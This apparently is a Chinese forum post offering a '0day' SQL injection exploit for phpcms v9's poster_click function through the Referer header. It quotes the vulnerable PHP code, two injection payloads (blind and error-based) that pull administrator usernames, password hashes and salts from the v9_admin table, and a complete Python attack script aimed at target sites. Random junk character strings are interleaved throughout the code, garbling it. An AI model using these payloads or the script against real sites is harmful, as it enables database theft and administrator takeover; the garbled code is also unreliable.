phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

; t0 Z3 E3 I$ V1 V) ]' w8 {% o& g问题函数\phpcms\modules\poster\index.php
  Y/ }# _1 ]/ X4 k
public function poster_click() {
6 O. {/ A0 L8 i4 I4 M* Y$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
! F* T1 s- I% }9 h$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
. ?% [1 V: e9 Zif($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
' n$ `& L0 H. b7 L& x$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
% j- B! c' @5 e: B0 E& O# x}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
3 d. ?% I7 ]: [$ ^5 v2 Lif (count($setting)==1) {
4 A( v4 L. Q& c' |8 N+ c1 N% t' d$url = $setting['1']['linkurl'];
) w. [6 N( |, [# ^1 N} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
1 M8 O( }0 L( L6 @, G}
. X( y/ t2 v8 g$ b+ i( Wheader('Location: '.$url);
9 z- x. J( X$ m3 J}



3 W1 }$ x% O+ n  @利用方式：
* p0 o! \& f  R9 q
1、可以采用盲注入的手法：
3 i. C3 t5 G3 v( U, W* V
0 ?8 K2 n" \0 qreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
$ r8 s8 B9 a1 S4 ]( A" Z$ d% k
通过返回页面，正常与否一个个猜解密码字段。
  a" M7 O) s. b( v( s
2、代码是花开写的，随手附上了：
& u: @7 f2 e1 G3 u: ?
  X& M: m+ O3 F/ n4 T. @9 T1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
6 ?9 q# K- g8 V5 p% |
此方法是爆错注入手法，原理自查。
. N4 ]/ i6 R- i
' ?$ Y; E+ x2 g- U- A4 V
  Z- i4 n4 ^6 K2 e
8 N/ k+ I8 T0 u% P利用程序:
4 q' t+ B) p9 {/ M+ }/ u
#!/usr/bin/env python
  h: k' Q$ l& J, _! ?6 qimport httplib,sys,re
  U2 V. L) B& @( D
/ g& @5 o2 }. V' P" ?def attack():
print “Code by Pax.Mac Team conqu3r!”
8 {3 u: z9 g1 r4 y( e5 U& oprint “Welcome to our zone!!!”
url=sys.argv[1]
; e) n, m. S" ~3 f% y: r; x- wpaths=sys.argv[2]
# z+ y: f0 ]& y% i  mconn = httplib.HTTPConnection(url)
i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
( |! X; \5 A: r' s; d" M“Accept”: “text/plain”,
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
; Z# e. J1 }4 M6 q' T" Tconn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
r1 = conn.getresponse()
datas=r1.read()
; E; h) d+ |* h) G3 ]* B+ Gdatas=re.findall(r”Duplicate entry \’\w+’”, datas)
print datas[0]
$ g0 B( A( F# K1 P! v, Uconn.close()
if __name__==”__main__”:
if len(sys.argv)<3:
print “Code by Pax.Mac Team conqu3r”
print “Usgae:”
print “    phpcmsattack.py   www.paxmac.org /”
print “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
  o3 }9 Y9 S8 W8 t( `4 fsys.exit(1)
attack()